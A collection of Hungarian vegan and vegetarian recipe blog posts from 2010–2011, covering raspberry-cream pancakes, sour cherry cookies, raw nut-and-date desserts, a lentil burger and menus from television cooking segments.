Munkából hazafelé jövet elhatároztam, hogy csinálok valami gyümölcsös finomságot. A málnára esett a választásom, hiszen az eper mellett ez az a gyümölcs, amiből tényleg csak szezonban tudunk igazán jót enni. Finom íze és alacsony kalóriatartalma mellett antibakteriális hatású, és tele van öregedést gátló antioxidánsokkal. A málna levele is igazi kincs, belőle teát érdemes készíteni. A frissen szedett leveleket forró vízben kell áztatni, s az így készített tea antibakteriális hatása lévén hólyaghurut, de meghűlés esetén is jól használható. Cukorbetegeknek, vesebetegségben szenvedőknek különösen ajánlott. Ha bővebben szeretnél olvasni a málna jótékony hatásáról: http://okoriegeszseg.shp.hu/hpc/web.php?a=okoriegeszseg&o=malna_nLkY Málnakrémes palacsinta Hozzávalók: A krémhez: - fél kg málna - 1 nagy pohár görög joghurt - citrom - 1 tk. gyümölcscukor v. méz A palacsintához (vegán): http://biovilag.freeblog.hu/archives/2010/05/06/Rizskrmes_vegn_palacsinta/ - 3 bögre liszt (én graham lisztet használtam) - 3-4 ek. olaj (ez lehet bármilyen) - víz - egy csipet só 1. A lisztet és sót elkeverem, hozzáadom az olajat, majd fokozatosan felöntöm vízzel. A tésztát hagyom pihenni. 2. A megmosott málnához hozzákeverem a joghurtot, hozzáadom a gyümölcscukrot, majd belefacsarok egy fél citromot. A citrom remekül kihozza a málna édes ízét, így tényleg csak egy csipetnyi cukrot, vagy mézet kell használni, de igazából el is hagyható. 3. Az így kapott masszát botmixerrel kicsit összekeverem, majd beteszem a hűtőbe, hogy alaposan összeérjenek az ízek. 4. A tésztából kisütöm a palacsintákat. Igyekezzünk minél vékonyabbakat sütni. A sütés során már nem kell használnunk olajat, mivel a tésztában lévő olaj megakadályozza, hogy leragadjanak. Maximum az elsőnél tehetünk pár cseppet a serpenyőbe. 5. A kihűlt palacsintákat megkenjük a málnakrémmel, és reszelt csokoládéval tálaljuk! A legjobb magas kakaótartalmú csokoládét használni, ennek szintén magas az antioxidáns tartalma. Napi egy kockát bátran, bűntudat nélkül megehetünk belőle! :) Aki abszolút vegán módon szeretné készíteni, az joghurt helyett kókusztejszínt is használhat. Szintén jó párosítás! ;) Ani 2011. június
Aszaltmeggyes cookie
Hétvégén mindig kedvem támad valamit sütni, de általában az egyszerűbb recepteket szeretem. Most, hogy itt a hideg idő egy csésze forró teához vagy kávéhoz ajánlom a következő süteményt, melynek receptjét a Vegavarázs oldalon találtam. Hozzávalók: 25 dkg olvasztott margarin vagy vaj 15 dkg zabpehely 4 evk rizsszirup vagy méz 10 dkg liszt 5 dkg kókuszreszelék 15 dkg aszalt meggy 1/2 csomag sütőpor 1. A rizsszirupot kikeverjük a margarinnal, majd hozzáadjuk az összes hozzávalót és összedolgozzuk a tésztát. 2. Kis gombócokat gyúrünk, amiket sütőpapírral kibélelt tepsibe helyezünk, és kézzel vagy egy pohár talpával kilapítjuk őket. 3. Előmelegített sütőben 20-25 perc alatt megsütjük. A kókusz és a meggy isteni párosítás! Ildi :-) 2010. december
Duna TV 2011.10.19
2011. október 19. Főzés nélkül finoman!
Kedves Barátaim :) Fogadjátok szeretettel a következő egyszerű menüsort, amely a vegán-vegetáriánus étkezési formának a népszerűsítését szolgálja, és aminek az elkészítésére a Duna Televízióban volt lehetőségem. A műsort, és az elkészítési fortélyokat a következő linken tudjátok megnézni: Műsoridő: 09:00 / 32:00 / 47:45 http://www.dunatv.hu/musor/videotar?cid=4284 Ha nem indul el, akkor Videótár - Család Barát - 2011.10.19 műsor :) Receptek: Sütőtökpástétom: (4 személyre) 25 dkg sütőtök 25 dkg TV paprika, vagy pritamin (ha ízeiben színesíteni akarjuk a pástétomot) 10 dkg mandula 1 db vöröshagyma (közepes méretű) 2 dl hidegen sajtolt olívaolaj 1 gyökérszár zöldje (petrezselyem) kevés só (ajánlott Himalája vagy tengeri só) Az alapanyagokat tisztálkodás után aprítjuk, majd egy erősebb darálóban, turmixban pépesítjük. Az elkészült pástétomot pirított tönköly vagy három magvas kenyérrel, vagy durumtésztára feltétként fogyaszthatjuk. J Zöldsaláta sütőtökcsíkokkal: (4 személyre) 1 fej fodros saláta 1 db kígyóuborka 1 doboz vegyescsíra (10 dkg) 10 dkg sütőtök 1 dl hidegen sajtolt olívaolaj 1 evőkanál lenmag Borsikafű, kevés só (ajánlott Himalája vagy tengeri só) Az alapanyagokat megtisztítjuk, majd tetszés szerinti méretre vágjuk. A sütőtökből hámozó késsel vékony csíkokat szelünk, majd lágyan az egészet az olajjal, borsíkafűvel összeforgatjuk, a szezámmaggal megszórjuk. Önálló ételként vagy köretként fogyaszthatjuk. J Körte-süti gyorsan: (4 személyre) 1/2 db vilmoskörte 25 dkg diákcsemege 1-2 evőkanál kókuszreszelék A magházától megtisztított körtét a diákcsemegével együtt egy erős aprítón grízes állagúra daráljuk, majd a masszából nedves kézzel kisgolyókat formázunk és belegörgetjük a kókuszreszelékbe. Egy kellemesen forró teához kiváló édesség. J Szeretettel: Javed www.fozesnelkulfinoman.blogspot.com +36/20-576-2082 Vállalom háznál, ,,főző tanfolyamok megtartását, tanfolyamok, baráti társaságok vegán-vegetáriánus ételekkel történő ellátását.
Kókusztej házilag
2011. szeptember 5. A vegán szépség
Tökéletes édességekhez, tejberizs, tejbegríz, turmixok, koktélok, és egzotikus ételek, de akár tejszín, tejföl helyettesítésére is.
hozzávalók:
-egy csomag bio kókuszreszelék
-agave- vagy juharszirup, esetleg nyírfacukor, vagy nyers nádcukor(elhagyható)
-víz
Rakott burgonya füstölt szalonnával
2011. augusztus 23. A vegán szépség
Ez az étel tökéletes kombinációja a hagyományos magyaros ízeknek, és a vegán konyha friss találékonyságának. Könnyen és gyorsan elkészíthető. Jó étvágyat! :)
Hozzávalók:
-1 kg burgonya
-1 db közepes padlizsán
-1 doboz zabtejszín(Oatly)
-2.5 dl házi kókusztej
-himalaya só, bors, füstölt édes-nemes paprika, tárkony, bazsalikom, szárított petrezselyem, bors
-olíva olaj
-5-6 gerezd fokhagyma
-biomargarin
Balatoni Nyár :) az m1 műsorán a Főzés nélkül finoman
2011. július 30. Főzés nélkül finoman!
Ilyenkor nyáron :), na de komolyan nyár van, igaz nem látszik, mert két napja kabátban mentem vásárolni, szóval nyáron az m1 tv csatorna délelőttjének egy része leköltözik a Balatonra, és a Balatoni Nyár című műsorral szórakoztat bennünket. Erre a napra csodálatos időt kaptunk a teremtőtől :) Ennek a műsornak a részeként 2011.08.05-én 09.00 - 11.00 óráig a Főzés nélkül finoman személyemben meghívást kapott egy kis főzőcskézésre, - rábólintottam rendben -, de mit eszünk majd? Nézegettem a fejemben meglévő választékot, és a következő menüsor született meg belőle: Receptek: Sárgadinnye-lekváros mandulás ,,süti Hozzávalók 4 személyre: 12 evőkanál darált mandula 4 evőkanál aranymazsola 4 evőkanál kókuszreszelék 4 szelet sárgadinnye (ajánlott 8 felé vágni az egész dinnyét) 4 db nektarin kevés vagy rengeteg fahéj A hántolt (a hántolatlan is kiváló) mandulát durvára őröljük, a sárgadinnyét daraboljuk, és az aranymazsolával pépesre daráljuk, majd a mandulával összekeverjük és félretesszük állni. A nektarinokat kisebb kockára vágjuk. 20-30 perc után a mandulás lekvárunkat összekeverjük a nektarinnal, majd négy kehelybe porciózzuk, fahéjjal, kókuszreszelékkel ízesítjük. Görögdinnye saláta pikánsan Hozzávalók 4 személyre: 4 szelet görögdinnye (ajánlott 8 felé vágni az egész dinnyét) 2 fej lilahagyma 8 evőkanál fekete olívabogyó 2 dl hidegen sajtolt olívaolaj 6-8 friss bazsalikom- és mentalevél kevés rózsaszín Himalája só A héjától megszabadított görögdinnyét ha zavaró akkor kimagozzuk, daraboljuk, a lilahagymát nagyolva összevágjuk, a bazsalikom- és mentaleveleket aprítjuk, sózzuk és bőségesen meglocsoljuk olívaolajjal vagy szőlőmagolajjal, majd az egészet az olívabogyóval összekeverjük (vigyázzunk a dinnyét ne törjük össze). Petrezselymes sárgarépa-pástétom magyarosan Pirított tönkölykenyér vagy zöldséges durumtészta Hozzávalók 4 személyre: 4 db sárgarépa 1 csokor petrezselyem 4 db paradicsom 4 evőkanál mandula 1/2 pár füstölt gabonakolbász 2 dl olívaolaj 1/2 kg tönkölykenyér vagy zöldséges durumtészta kevés rózsaszín Himalája só A sárgarépát kisebb darabokra vágjuk, ezzel a kíméljük a darálónkat, vagy a turmixgépet, a petrezselymet, paradicsomot is apríthatjuk előre, és a mandulát is elődarálhatjuk, majd hozzáadva az olajat, gabonakolbászt, sót krémesre daráljuk az egészet. Erősebb készülékeknél a receptben felsoroltakat együtt pépesítjük. Pirított tönkölykenyérre kenve tálaljuk vagy durumtésztára szószként (tésztához adva ajánlott egy kicsivel több olajat használni). Szeretettel várlak benneteket a képernyő elé a fent megadott időben, egy kis közös főzőcskére, kikapcsolódásra, ha elfoglaltságod vagy munka miatt nincs lehetőséget élőben nyomon követni a műsort, később is megnézheted majd az m1 videotárjában. http://videotar.mtv.hu/Videok/2011/08/05/11/Balatoni_nyar_2011_augusztus_5_.aspx (12perc 12 mp; 63 perc 53 mp :) Szeretet teljes öleléssel: Javed
Töltött szőlőlevél nyersen, mákos golyó...
2011. június 30. Napló étkeinkről, életünkről
Mondhatnám, hogy a nyersétel találkozó a várakozásoknak megfelelően zajlott, hiszen a késői, és gyenge szervezésemnek köszönhetően senki nem jött el, de: találkoztam ismerősökkel, akik nem is hallottak még erről, és volt elég bátorságuk megkóstolni az ételeket! Életem egyik legnagyobb dicséretét kaptam tegnap, hogy a karfiolos-tökmagos fasírt olyan, mint az igazi! Pedig se hús nincs benne, és még meg sem sült :-) Édes töltött szőlőlevélRégóta fejemben járt már a töltött szőlőlevél gondolata, és végre itt volt a nagyszerű alkalom, hogy kipróbálhassam az elgondolásomat. Szedtem szőlőlevelet a kertben, készítettem citromléből, sóból, és egy kevés szőlőmagolajból vízzel összekeverve páclét, és beletettem a leveleket. Első alkalommal - hétfő délután - csak néhány órát pácoltam, majd édes töltelékkel tettem bele. Ekkor még kicsit savanyú volt a lé, és a levél sem volt elég puha, de másnapra az édes töltelék a savanyú levéllel összeért, és egészen jó lett. Kedden reggel a következő adagnak a páclét kevésbé savanyúra csináltam, és ebben pácoltam a következő adag szőlőlevelet. Készítettem tökmagos-karfiolos fasírtalapot, és egy részét este a levelekbe töltöttem, az adag másik feléből pedig fasírtokat formáztam, és megaszaltam. A szőlőleveleket megtöltöttem a masszával, és még némi páclevet öntöttem rá, így tovább pácolódott, és egybeért szerda délutánig. Alig bírtam letenni, annyira sikerült eltalálnom az ízlésemet... A mákos golyókhoz almát reszeltem, kinyomtam a levét (és megittam), majd összekevertem darált mákkal, beáztatott mazsolával, és egy kevés darált mandulával, mert az javítja az állagát. Fahéjjal ízesítettem, és kókuszreszelékbe forgattam. Csak a képen látható mennyiséget sikerült megmentenem a lányomtól :-) A feketeribizlit pedig frissen szedtem a kertben. Kellemesen telt az idő a szökőkútnál, ritka alkalom, hogy csak így üldögélhetek, olvasva, az embereket figyelve, miközben eszegetem az otthoni meggyet, és a töltött szőlőlevelet :-) Megpróbálok valami kisebb termet beszervezni, de ha nem jön össze, július 12-én is ott leszek!
Indiai kókusztejes csokipuding (vegan)
2011. május 29. Csatni és Umeboshi: Jógakonyha
Én a makrobiotikus táplálkozást abszolút rugalmasan kezelem, nem pedig, mint egy merev rendszert! Egyetértek Verbovszky Gabriella, amerikában élő makrobiotika oktatóval, hogy ha mint egészségmegőrző étrendre tekintünk erre a konyhaművészetre, - nem pedig gyógyító étrendként, ahol a szigorúság kötelező - akkor lehetünk rugalmasak, kísérletezők. Szóval olykor eltérek a hazai viszonylatoktól. Mint ennél a csokis pudingnál, ahol az alap a kókusztej, míg, ha szigorúan venném, akkor rizstejet, zabtejet, vagy mandulatejet használhatnék.Édesítésnek rizsszirup, minél nagyobb kakaótartalmú étcsoki, fűszernek őrölt kardamom, és vanília esszencia. A végeredmény krémes és isteni 5 perces desszert tej, tojás és cukor nélkül! Indiai kókusztejes csokipuding (vegan) Hozzávalók: 400 g kókusztejkonzerv, 100 g étcsokoládé, 4 evőkanál rizsszirup (vagy agave), 1 evőkanál kukoricakeményítő, 1 kiskanál őrölt kardamom, 1 kiskanál vaníliaesszencia. 1. Egy lábosba forraljuk fel a kókusztejet. Olvasszuk fel benne az étcsokoládét, adjuk hozzá a kukoricakeményítőt, a kardamomot és a vaniliát. Hagyjuk besűrűsödni és vegyük le a tűzről. 2. Turmixoljuk össze és töltsük tálkákba. 3. Tálalásig néhány órára tegyük hűtőszekrénybe.
Meglehetősen tökmagos pogácsa
2011. január 17. Rongybaba konyha
400 g teljeskiőrlésű tönkölyliszt200 g darált tökmag (150 g finomra, 50g durvára) 300 g törtkrumpli 150 g vaj (100 g vaj+50 g kókuszzsír) 30 g élesztő 1/2 dl víz Liszt-tökmag keverék közepében az élesztőt a fél deci langyos vízben fölfuttattam, majd az egészet összegyúrtam, 1 óra kelesztés után kinyújtottam, bevagdaltam, vízzel megkentem, 180 fokos sütőben megsütöttem. Ha lett volna 150 g kókuszzsír itthon, akkor tényleg vegán lenne:-)
5 konponensű sült zöldség!
2010. november 23. Csatni és Umeboshi: Jógakonyha
Egyike azoknak az ételeknek, amelyek számomra ténylegesen a jógakonyhát idézik fel, mivel egy jógaoktató tanfolyam keretein belül kóstoltam. Bár vittem fotógépet magammal, valahogy a jógaszőnyegre kuporodva nem volt kedvem elővenni, ráadásul az isteni ízek is hamar magával ragadtak és inkább a repetára figyeltem. Az otthoni rekonstrukció alapján gyorsan elkészíthető. Mindössze 5 hozzávaló szükséges hozzá: szejtán brokkoli sárgarépa cukkini fűszeres besamell A sült zöldségek indiai jellegű izhatás alatt álnak, curry, kurkuma, garam masala, csipetnyi só és bors került bele. A besamell készítésénél vaj helyett kókuszolaj, fehér tönköly liszt és szójatejszínt. A brokkolit blansíroztam, leszűrtem és áttettem egy jénaiba. A sárgarépa nagyobb darabokban is mehetne bele, nekem volt még egy zacskó reszelékem, ezt gyorsan feldolgoztam. Beledobáltam a cukkínit és az apróra feldarabolt szejtán. Leöntöttem a fűszeres besamellel és sütőben kb. 20 perc alatt pirulásig sütöttem. Körete lehet burgonyapüré, saláta. Én tofu-burgerrer és sült paprikával egészítettem most ki.
Lencse"burger" thai mogyorószószos salátával
2010. november 7. CsemetEledel
Íme egy nagyon egyszerű, tápláló, és könnyű vacsorarecept. A saláta pedig nagy valószínűséggel lesz a gyermekek kedvence, hiszen édes, mézes, kókuszos szósszal készült. A burgert sajnos, amúgy is szeretik. Ha viszont ezt a lencseburgert adjuk neki, biztosak lehetünk abban, hogy nem lesz benne műanyag, halott mindenféle állati maradvány, és durva szilikonszármazék(mint a mekisekben) . Ezzel szemben tele van esszenciális aminosavakkal, magas tápértékű fehérjével, és vitaminokkal. Nem hízlal, nem egészségtelen, és nem is olajban sült. És miért ne rághatna egy egyéves fejessalátát? a burgerhez: -1 bögre vöröslencse -1 kaliforniai paprika -1fej vöröshagyma -1-2 gerezd fokhagyma -só, bors, vegamix, babérlevél -4-6 koktélparadicsom -juharszirup, vagy méz -balzsam ecet, vagy alma ecet salátához: -1 kisebb fej fejessaláta, vagy iceberg(jég) saláta, esetleg nagyobbaknak rukkola, vagy keverve, ahogy én készítettem most. -6-7 koktélparadicsom a szószhoz: -egy marék kesu dió, meg egy marék földimogyoró (én még makadámia diót is raktam bele) -4 evőkanál kókusztej -3 evőkanál méz vagy juharszirup -(felnőtteknek chili paprika) -1/2 citrom, vagy lime leve A mogyorót és a kesu diót beáztatom 1-2 órára annyi vízbe, hogy bőven ellepje. A lencsét megmosom, és kevés sós vízben felteszem főni. A vörös lencse nagyon gyorsan puhul, így áztatás nélkül is kész lesz 1o-15 perc alatt. Babérlevéllel felteszem főni. Addig apróra kockázom a hagymát a paprikát és a paradicsomot, megpucolom a fokhagymát. A hagymát kevés olíván üvegesre párolom, majd ha kész beleteszem a préselt fokhagymát 1-2 percig pirítom. Rádobom a paprikát és kb 1o perc múlva a paradicsomot, sózzuk borsozzuk, vegamixet adunk hozzá(ízlés szerint). Ha ez kész és a lencsénk is megfőtt, lecsepegtetjük, és aprítógépben vagy mixerben 1 perc alatt lepürésítjük. A pürét a hagymás pörköltalapba forgatjuk, és kb 5 percig összesütjük. a juharszirupot és az ecetet a végén keverjük bele(ízlés szerint). Félretesszük hűlni. A salátát leveleire szedjük, összevágjuk, majd megmossuk, és ha van salátacentrifugánk(érdemes beruházni) megszabadítjuk a víztől, majd egy nagy, mély salátástálba helyezzük. A koktélparadicsomokat négyfelé vágjuk, és hozzáadjuk a salátához. A mogyoróról dióról leöntjük a vizet és az aprítóba helyezzük őket. Hozzáadjuk a kókusztejet, a citomlevet, mézet, kevés sót(chilit, nem gyerekes verziónál). 1 perc alatt összeturmixoljuk , hogy egy apró mogyoródarabos mártogatós szósz állagú dip-et kapjunk. Ezt a szószt ráöntjük a salátakeverékre, és jó alaposan összekeverjük, hogy a szósz mindenhová jusson. Közben a langyosra hűlt, és a lencse keményítőtartalmának köszönhetően összeállt masszából pogácsákat formálunk és teljes kiőrlésű zsemle, vagy magvaspirítós közé helyezzük, salátával tálaljuk. Jó étvágyat! :) tipp : ha gyermekünk allergiás a mogyorófélékre, akkor az természetesen hagyjuk ki.
nem minden nap habos torta.. vagy mégis?
nem, csalok. hiába egészségesebbek ezek a desszertek, nem árt mértéket tartani. sok zsiradékot tartalmaznak, ami nemcsak az alakunknak, de az egészségünknek is árt, ráadásul a magok és édes gyümölcsök (pláne friss gyümölcsök) együtt az emésztőrendszert is megdolgoztatják. itt azért uralkodtak el mostanság a desszertek, mert - nagy örömömre - egyre többször jönnek megrendelések. most egy családi vendégségre készültem ezekkel a tortákkal és kakaóbabos trüffelekkel. a legutóbbi körtetortán elég sokat változtattam, egyrészt most mandulás-datolyás kosarakba került, másrészt a krémből kihagytam a gyömbért. ezen kívül nagyon figyeltem, hogy a körték elég érettek és puhák legyenek, mert a krém csak akkor lesz homogén, és elég édes. a kosárkák közepébe rejtett körtedarabkáknak is szinte olyan puhának kell lenni, mint a krém! és kivételesen nem felejtettem el mérni.. alap 9 kosárkához: 1 csésze (2 dl) áztatott, hámozott majd teljesen kiszárított mandula 1 csésze magozott, darabolt datolya pici só (elhagyható) krém: 1 csésze kesudió 2 csésze érett, hámozott, felkockázott körte 2-3 ek kókuszolaj (ettől hűtőben megszilárdul a krém, de el is hagyható) (a citromlét kifelejtettem, pedig terveztem bele.. de utólag nem hiányzott) + kb 1 csésze körte a kosárkák belsejébe mivel a mixerem megint feladta a harcot, turmixgépben csináltam mindent. csodák csodája, remekül működött! először a mandulát daráltam finomra pulzáló módban, majd hozzáadtam a datolyát is, és addig aprítottam - az edény faláról időnként lekanalazva a cuccot - amíg gyúrható, de még könnyen szátmálló állagot értem el. a krém hozzávalóit egyszerűen összeturmixoltam, teljesen homogénre. ez az adag kicsit több mint ami a kosárkákba fér, pont elég lett volna, ha a közepükből kihagyom a körtedarabokat. de nem érdemes kihagyni, mert jó kontrasztja a gazdag krémnek, és kicsit könnyebbé is teszi a desszertet. (a maradék krémet betettem a fagyasztóba 2 kis muffinformában) * megjegyzés: csak a vacsorán teszteltem, de elégedett voltam az eredménnyel (és a vendégek is): a 2:1 gyümölcs:kesu arány + extra gyümölcs pont elég könnyű lett, mégis krémes és visszafogottan édes, amihez jól passzolt az édesebb alap.
kerti parti nyers desszertekkel
jó ideje erre készülődetem: nagy kerti parti volt tegnap, ahová nyers desszerteket vittem. sokan voltunk, a hagyományos menüt és a kiszolgálást egy rendezvény szervíz biztosította, a nyers édességek csak érdekességképpen kerültek az asztalra. vártam, hogy a hagyományos ízekhez szokott vendégek hogy fogadják majd ezeket a desszerteket, és nagy öröm volt, hogy sikert arattak :) körtés gyömbéres kosárkák, ebből vittem Norkához pénteken, ahol vele, Gittával, Annával és Craig Sommerssel töltöttünk egy csodálatos délutánt. Craig egy előadást tartott nálunk, ezért utazott ide - Gitta blogján bővebben olvashattok róla. örülök hogy megismerhettem, és hogy volt alkalmam egy jót beszélgetni vele és a lányokkal. a képen még e80 kockák és mogyorós trüffel barackpudingos kosárkák narancsvirágos hógolyók készültek még kakaóba forgatott kókuszgolyók is, de ezeket a nagy sürgés-forgásban nem sikerült lefotózni nem tűnik hatalmas adagnak, de 3 napot dolgoztam és épphogy elkészültem az utolsó pillanatra. és hiába kísérleteztem, terveztem hetek óta, végül mégis rögtönöztem a recepteket, ráadásul meglehetős felfordulásban és összevisszaságban, tehát méregetésről szó sem lehetett. pedig terveztem, hogy ezt most szépen kimérem, és fotózok is közben, de ez megint nem jött össze. meglepő, hogy ezek után a végeredménnyel szinte tökéletesen elégedett voltam (ez persze nem jelenti azt, hogy mostantól ugyanígy csinálok midnent :) jobb, ha a körülbelüli recepteket leírom, aztán vagy lesz időm pontosítani, vagy nem.. barckos kosárka: alap : kesudió és datolya kb 2:1 arányban barack puding : barackok és utifű maghéj körtés gyömbéres kosárka: alap : törökmogyoró, mazsola, kakaópor krém : kesudió és körte kb 2:3 arányban, gyömbér, méz és kevés utifű maghéj (a kókuszolaj kivételesen jobb lett volna, de ha számítani kell rá, hogy órákat áll majd a süti szobahőmérsélkleten, azt el lehet felejteni) körtedarabok E80RV kockák: alap : hajdinacsíraliszt, mogyoró és datolya kb 1:1:1 arányban csokikrém : datolyapaszta, kókuszolaj, mogyoró, kakaó marcipán : mandula, mandulaliszt, méz kávékrém : kesudió, eszpresszó, méz, víz és agar-agar (itt egy kicsit csaltam: sem a kávé, sem az agar-agar nem nyers, de mivel a mennyiségük nem számottevő, és egyémbént sem olyasmiről van szó, amit az ember naponta fogyaszt, ennyi azért beleférhet) a tetejére kakaópor mogyorós trüffel: datolyakrém, kakaó és törökmogyoró, belül egy szem mogyoróval, aprított mogyoróba fogatva narancsvirágos hógolyó: ugyanaz, mint a rózsavizes, csak narancsvirágvízzel. kókuszgolyó: kókuszkrém és méz, kívül kakaópor
Kókuszos-kakaós meggyes pite
2010. július 10. KryaSpirit-Vegalife
A meggyes pite, vagy inkább piskóta mindig is a kedvencem volt. Még tojásevő koromban imádtam a levegős édes tésztáját és benne a savanykás meggyet. Sokáig nem találtam olyan tésztát, ami megfelelt volna a levegős feltételnek, de most megvan. Bár nem teljesen olyan, persze nem is lehet, hiszen a tojás csodákat művel a sütikkel, de leginkább ez a recept üti meg azt a színvonalat, amit elvárok. A kókusz és a kakaó meg még dob rajta egyet. Az eredeti recept Fitt anyukától származik, amit azért jelentősen átalakítottam. Készült már krémes torta alapjaként, és aszalt gyümölccsel, magokkal, de kókusszal és csokoládéval is. Majd azok is posztolásra kerülnek idővel, de most következzen az aktuális idénygyümölccsel...... (Ja még annyit, hogy felesben szoktam a teljeskiőrlésű és fehér lisztet keverni, de sajnos a bontatlan tk. liszt, annak ellenére, hogy egy hete vettem és októberben járt volna le a szavatossága aktív életre kelt a zacskóban. Nem először járok így és már kicsit unom, hogy a szemét nyeli el a 400 ft-os lisztet.) Hozzávalók: 40 dkg tönkölybúza fehérliszt 10 dkg zabpehely 10 dkg kókuszreszelék 2 ek holland kakaópor 20 dkg barna nádcukor 2 csomag sütőpor 1 teáskanál szódabikarbóna 10 ek napraforgóolaj 0,5 l növényi tej 1 kg magozott meggy A lisztet, a zabpelyhet, a cukrot, kakaóport, sütőport, szódabikarbónát, kókuszreszeléket összekevertem, beletettem az olajat és a tejjel kikevertem. Kimargarinoztam 26x40 cm-es tepsit, beleöntöttem a masszát és a tetejére szórtam a meggyet. A sütőt hőlégkeverésen 200 fokra előmelegítettem és 10 percig, majd visszavettem 175 fokra és még 35percig sütöttem a süteményt.
"Jó regglet" kása
2010. június 21. Legyen néktek eledelül...
Meglepően letisztul, de finom recepte. Pár alapanyagból, hihetetlen micsoda ízkavalkádot lehet varázsolni. Frissítő citromos laktató reggeli. Valószínű ma sem 20 perc alatt készül el a reggelink, ha nincs a pelyhesítő, amivel "kezeltem" a rizst főzés előtt, hisz a barnarizs nagyon nagyon lassan főne meg egyébként.. Datolyából kétszerannyit ratkam mint amennyit a recept ír, de így sem mondanám túl édesenke. (evésnél csempésztünk bele a tegnap este készült kókuszos granolából is egy picit) Bionarancsot nem kaptunk sajnos, így citromhéjj került belel jobbhíjján, de így is tökéletes reggelit biztosított. Hosszú idő óta főtt megint ilyen igazi reggeli itthon, de ezt aki követi a blogot sejtheti. Elég nagy pocakom van már, és olyan könnyen elcsábulok a lustálkodás irányába, pedig augusztus végéig még sok idő van. Ma megtört a jég, és újra finom falatok, és amennyire tőlem telik szép fotók készülnek a konyhámban, és nem utolsó sorban, élményteli posztok a blogba. Köszönöm ha kivártátok hogy visszatérjek, remélem többet nem fogok így eltünni igazolatlanul.:)
Halvás porridge
2010. május 21. Legyen néktek eledelül...
Könnyű, gyors, egyszrű, finom, olcsó. Ne kérdezze senki hogy a neve mit is jelenthet, mert el sem tudom képzelni. A halva egy görög édesség, amit napraforgómagból csinálnak. A porridge szót életemben nem láttam, nem hallottam, nem olvastam, de már tudom hogy ilyen is van:) Az egész szemes zabot kell megfőzni, ami elég furcsa... negyed óra főzést javasol, nálam úgy alakult, hogy fél órát főtt, mert sok dolog történt közben. Nem ártott neki. Megállapítottuk, hogy ha jobban szétfő a zab, vagy pehllyel indítunk, csinosabb is lehetett volna. A halvás karobos öntet nagyon finom, máskor is fogom használni. Lehet hogy okoskodom majd még vele, hogy hogyan, mitől lehetne sűrűbb, mert nagyon beindította a fantáziámat. Szerintem fagyi lesz a dolog vége, így a nyár közeledtével. 100g zabból csináltam, ami kicsit kevés volt, szerencse hogy a tegnapi reggeliből még volt egy kis maradék, amivel Gergő megpakolhatta a hasát. Banánnal tálaltam, ahogy az a képeken is látszik, ami tejesen egyedi ötlet, de anélkül elég egyhangű lett volna, és a kókuszreszelék is csak jót tett neki.